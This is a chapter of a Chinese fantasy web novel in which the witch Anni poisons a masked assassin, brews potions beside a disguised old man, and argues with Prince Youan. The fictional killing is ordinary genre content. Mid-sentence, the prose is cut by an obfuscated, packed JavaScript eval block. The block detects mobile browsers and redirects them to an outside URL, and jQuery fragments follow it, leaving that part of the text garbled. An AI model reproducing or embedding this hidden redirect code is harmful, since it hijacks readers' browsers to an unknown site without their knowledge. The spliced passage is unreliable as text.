125. 都城篇9

作品:《魔女的生存法则[西幻]

    贝伦斯走后,安霓一个人不紧不慢离开了喧闹的步行街。


    西沉的太阳给都城的建筑投下了一片巨大的阴影,初春的晚风带着凛冽的寒意,她裹紧了身上的短披肩,从巷子口闪了进去。两侧高耸的房屋挤压着渐渐黯淡的天光,远处的钟楼像是一把朝天的长矛。


    安霓单薄的身影不紧不慢地走在巷子里,不一会儿,身后就传出了轻微的脚步声。


    又一根金针从背后射了过来,安霓早有防备,迅速侧身躲闪,金针猛得扎在了泥泞的地上,化成了一丝金线消失了。


    果然是冲她来的,有人要暗杀她!


    安霓提着裙子快速往前跑,身后的追逐者也不再躲着藏着了,迈着轻巧的步子紧追其后。


    他用头套严实地遮住了脸,只露出一双眼睛,黑披风随着他的动作疯狂摆动。安霓刚回头,他的披风下闪过一抹金光,一把匕首瞬间化在了他的手中。


    安霓加快了脚步,盘算着怎么把他的武器弄到手。


    身后的男人也加快了速度,两人很快就缩短了距离。


    “别追我,我好怕啊!”安霓朝身后大喊。


    身后的男人冷笑,兴奋地又加快了步伐。


    前方又是一个拐角,安霓轻笑,轻盈地向右一转,身后的男人也跟着往右拐,鞋底在湿滑的石板路上摩擦处急促的声音,可刚一转身,一片细碎的精粉从右边飘了过来,男人警觉,猛地抬手挡在了自己裸露的眼睛前,迅速向后跃开。


    可太晚了,脚还没落地,眼睛就像被灼烧了一样,强烈的疼痛让他单手撑低蹲在了地上,一阵清脆的笑声伴随着脚步声缓缓走近。


    “修林先生果然没有骗我,只要毒里掺了岞藤根粉,哪怕不吸入鼻腔,”安霓拍了拍袖口残留的粉末,居高临下俯视着他,“也能起作用。”


    男人痛苦地捂着眼睛,大叫起来。


    “说,”安霓的鞋尖抵住了男人颤抖的肩膀,“谁叫你来杀我的?”


    回应她的只有撕心裂肺的嚎叫。男人蜷缩在地上,乌黑的血从眼睛里一点点渗出来,粘稠地爬满脸颊,连带着手也被染黑了。


    安霓有些嫌弃地往后退了一步,生怕弄脏了自己的衣裙。


    男人突然拱起身子,“哇”地吐了一滩冒着气泡的黑血,随后生命被抽干似得倒在了地上。


    “啧,”安霓用手掩住了口鼻,“修林先生可没说会这么……不体面……”


    她还是忍着恶心,从男人的披风下拿走了那把金色刀把的匕首,又掏出了一块白色绢布,细细擦干净,然后塞进了自己的靴筒里。


    有着曾经长下巴的经验,安霓把他沾满黑血的胳膊拎了起来,看清了他袖口的徽章——一只展翅嘶鸣的白色大鸟。


    如果判断没错,这个男人应该就是养在这个贵族家里的法师或者杀手。


    以为是个人就能杀掉她吗?


    只是这个徽章看着眼熟,却记不得到底是出自哪个贵族。


    安霓又看了他一眼,明天他的尸体就会被星迁会发现,然后送回主人家,星迁会那边也会展开调查,她得躲好才行。


    等她回到皇宫已经入夜了。


    她刚走到寝宫楼下,就在不远处的角落里看到了之前每晚来接她的尤安的贴身侍卫,安霓冲他招了招手,让他知道她已经回来了。


    侍卫愣了一下,随即就隐没在黑暗里,回去报信了。


    贝伦斯今夜也早早地上了床,只是精神还是紧绷状态,她必须抓紧时间,早点跟孩子的父亲罗恩德·克拉帝亚摊牌,不然到时候肚子慢慢大了,也不好掩盖。


    普拉尔和伊露西晚饭回来后,围着贝伦斯关心,贝伦斯也只是说自己的肚子不太舒服,在寝宫休息了一整天,并没有透露出宫的事情。


    另一边,修林先生倒是在安霓进门的瞬间,就看出了她今天用了毒药。他蹙眉,圆圆的脸上尽是担忧和不满。


    安霓看他那副样子,便主动坦白:“今天是用了毒药,在生死攸关的时候用的。”


    修林的表情还没缓和下来,但心里也清楚,这个被皇子看中的女人,遇到的事情肯定也不简单,他无意卷入任何斗争,只是再三强调:“关键时刻才能用,不要滥用,格蕾丝女士,害人终害己!”


    安霓笑着点点头:“我知道,多亏修林先生教得好,不然我今天就要命丧外面了。”


    修林没再纠结,只是面色沉重地低下头,翻看着那本厚重的魔法书,开始了今天的课程。


    学习结束后,各个寝宫的灯都已熄灭,她还是跳出了窗户,顺着粗大的枝干来到了那座灰墙后面。昨天她食言没有出现,也不知道那个墨绿色眼睛的老人今晚会不会再来。


    那片杂草丛生的空地上,老人望着她慢慢爬下树干的身影,心里默默松了一口气。


    “你来了。”老人笑着迎了过去。


    “抱歉,昨天晚上不小心睡着了,就没来,”安霓解释道,“让你久等了。”


    老人递给她一个精致干净的小瓶子,里面的泥怪树皮已经烤制磨成了粉末,安霓拔开塞子,闻了闻,嗯,的确是泥怪树独有的臭味。


    “谢谢你,”安霓眉眼弯弯地朝他笑,“你是个好老头。”


    老人也笑了,看着她又自顾自地忙了起来。


    安霓从口袋里掏出半截粗蜡烛,又拿出了一个小的银碟片,把泥怪树皮粉末和其他研磨好的粉末混合在了一起放在了碟片上。


    她抬起手,手心对着那堆粉末就开始念咒,一道道红色光丝慢慢从手心里滑落,像蜘蛛丝一样把粉末包在了里面,光丝消失后才点燃蜡烛放在碟片下方燃烧。


    老人站在她旁边,静静看着她操作。


    安霓手腕一转,银碟片稳稳地在她两手之间悬浮,不一会儿,粉末就开始冒烟,发出“嘶嘶”的响声。


    她抬起头看向天空,黑到没有任何光亮。


    “今晚没月亮给你晒,你怎么还在这里?”


    “闲来无事。”


    安霓望向他的眼睛,足足看了一分多钟,然后沉默地低下了头。


    “你怎么了?”老人俯下身,细细打量着她的表情。


    她的眼睛看着双手之间冒着白烟的粉末,轻笑:“你的眼睛让我觉得很熟悉。”


    老人迟疑了片刻,问道:“你的故人?”


    “嗯,是个很不错的人。”


    “你们是朋友?”


    安霓的双手突然弹了一下,银片上的粉末也跟着弹到了空中,又落了下去:“不是朋友,他是我曾经的恋人。”


    老头直起身子:“曾经?”


    “嗯,曾经。”


    “你……恨他吗?”


    像炒菜一样,粉末又被弹到了空中,包裹着它的红丝线又隐隐出现,保护它安全地落回发烫的银碟中。


    “没什么可恨的,也没什么可怪的,如果当时换做是我,我也会情绪激动,”安霓的面色柔和,声音也很轻,“我都能理解。”


    老人沉默了,像个雕像一样立在原地。


    安霓也没说话,只一味地烤制自己的药材。


    “那你想见他吗?”老人突然开了口。


    安霓转头盯着他,一字一句地说道:“不想。”


    “……为什么?”


    “因为我现在还只是一个工具,还没有自由,”安霓突然咧嘴笑了起来,“等我把该杀的人杀了,彻底地获得自由以后,我会去找他。”


    老人苍白的脸也有了些微妙的表情,他放大的瞳孔里印满了安霓的灿烂笑脸。


    他把略微颤抖的手背在了身后,努力平复着被带动的情绪:“如果说……他不介意呢?”


    “我的死亡对他的打击肯定很大,所以这一次,在我没有获得真正的自由之前,不会再随便承诺什么了。”


    “你不用再承诺什么,他会自己走向你。”老人眼里的坚定让她也愣了片刻。安霓垂眸笑了,没再说话,重新把注意力放在银碟子上。


    等她忙完所有事,重新爬上了树翻墙离开了。夜空的乌云渐渐散开,月亮悄然无息地出现。


    老人望着她的背影,布满沟壑的脸突然变得模糊,皱纹慢慢舒展变平,下垂的脸也提了上去,皮肤由粗糙变得细腻,唯一不变的就是那双墨绿色的眼睛。


    加斯贝德把手腕上带着那串化型珠摘了下来,上面有19颗蓝色珠子,其中17颗发着淡淡的光,剩余2颗已经黯淡了下去,没有了生机。


    ……


    宫外星迁会是否在调查那个法师的死因,安霓并不知道,她宫里的生活喧闹又平静。


    她依旧每隔一段时间,会私下里找尤安,告诉他,那些有家世有背景的合唱团成员们私下聊天的事情,例如哪几家贵族暗中来往频繁;在皇宫任职的亲戚又跟哪家大人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289549|181892||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    结交;谁家的少爷又跟谁家的小姐幽会……从八卦传闻到政治猜想,从酒后谈话到睡前故事,全都毫无保留地告诉了尤安。


    还有一些小道消息:卡拉帝亚公爵频繁进宫帮国王处理一些繁琐之事;国王有查老旧商派贵族账目的想法……


    也包括出宫当日被杀手盯上的事情。


    尤安的眉头皱得都快能压死一只苍蝇了,那只展翅嘶鸣的白色大鸟他再熟悉不过,就是他未来的岳家——安林珀公爵。


    花园深处,安霓坐在一个小型喷泉旁,细细观察着尤安的表情,越来越肯定那只白色大鸟徽章的主人,尤安是熟悉的。


    “那个杀手没杀掉你,就自己跑了?”


    安霓面不改色地扯谎:“对啊,可能是因为我跑得快,他追不上我吧。”


    今天早上,安林珀公爵已经因为自己女儿和尤安的婚事去找过国王和王后了,王后已经表明尤安跟格蕾丝已经分手,并不会影响婚事。


    安林珀公爵安心了不少,三人当即就把婚事定在了今年年底。


    尤安知道这件事后还专门去找过王后,却还是没能扭转结果。


    如果这个杀手不是安林珀公爵派出来的,就只能是他那个娇惯的女儿干的。


    “既然我们是统一战线了,这种事还是不要瞒着。”安霓看着他,等着他告诉自己那个家徽到底是哪个贵族的。


    尤安穿着侍卫衣服,看着黑暗中她的脸,犹豫要不要说。如果真让她知道了,指不定要做出什么事呢。


    安霓打量着他的装扮:“你又出宫了?怪不得这阵子你都不在宫里。”


    她见他还在踌躇,自己先分析起来了,“如果王后想杀我,根本不用那么麻烦,如果是诺瓦的未婚妻想杀我,嗯……感觉可能性不大,她还在向贝伦斯打听我的事呢,那最后只剩下一种可能了。”


    安霓眼里泛着精光,笑嘻嘻地看向尤安。


    尤安叹了口气:“你别做让我收不了场的事。”


    安霓准备回寝宫,路过尤安时拍了拍他的肩膀,笑道:“今天王后已经公布了你的喜讯,恭喜你啊,皇子殿下。”


    尤安今天的心情本身就烦闷,被安霓这么一恭喜更是气不打一处来,他抓住了安霓细细的手腕,粗鲁地把她拖了回来。


    “我结婚你就这么开心?”


    安霓用另一只手一点点掰开尤安的手指,慢条斯理地回答道:“是挺开心的,这样你就离继承皇位不远了,这样我也就可以更快的恢复自由。”


    “在皇宫只要你想要的,我都可以给你,”尤安用力地抓着她,怒气冲冲地朝她吼道,“为什么非要离开这里?!”


    “你声音那么大干什么,”安霓不满地挣扎,“而且你抓疼我了!”


    “还是说你离开皇宫是想去找你那两个男人?”尤安无视了她的挣扎,硬是要把她往自己的身前带,“诺瓦·兰伯特一直在打听你,你当我不知道?还是说你想嫁给他,或者你想嫁给那个已经不是团长的加斯贝德?”


    尤安此刻在安霓眼里,就像是得了失心疯的狗一样狂吠不止,他脸色通红,耳朵也红,今晚见面时就闻到他一身的酒气。


    “怎么?在你眼里女人非要嫁人吗?”安霓的眼里满是不屑,“你以为谁都会在乎你皇子的身份吗?”


    尤安抓住了她的肩膀,正视着她的眼睛,一阵浓郁的酒气扑面而来:“那你在乎什么?”


    安霓冷着脸别过头去,正努力心里压制慢慢升起来的怒火。


    “你说话啊,你他妈说话啊?!”尤安突然用力地抱住了她,在她耳边大喊,“你哑巴了吗,诺瓦·兰伯特是不会为了你退婚的,加斯贝德早就不知所踪,你还有的选吗?”


    “啪——”


    一道耳光重重地甩在了他的脸上,把他的思绪和情绪一并打断了。


    安霓面无表情地收回手,冷漠地看着他。


    尤安的脸上红色的巴掌印慢慢显现出来,他慢慢地捂住了脸,不可思议地看着她。


    黑暗中,安霓眼里的冷漠像是千年暖不化的寒冰,仿佛这才是真的她。尤安感觉胸口一阵刺痛,声音弱了下去:“对不起……”


    “我的确想要自由,但这跟任何人都没有关系。”


    安霓吸了一下鼻子,跟尤安擦肩而过。


    尤安一个人站在喷泉旁,懊悔地捂住了眼睛。


    ……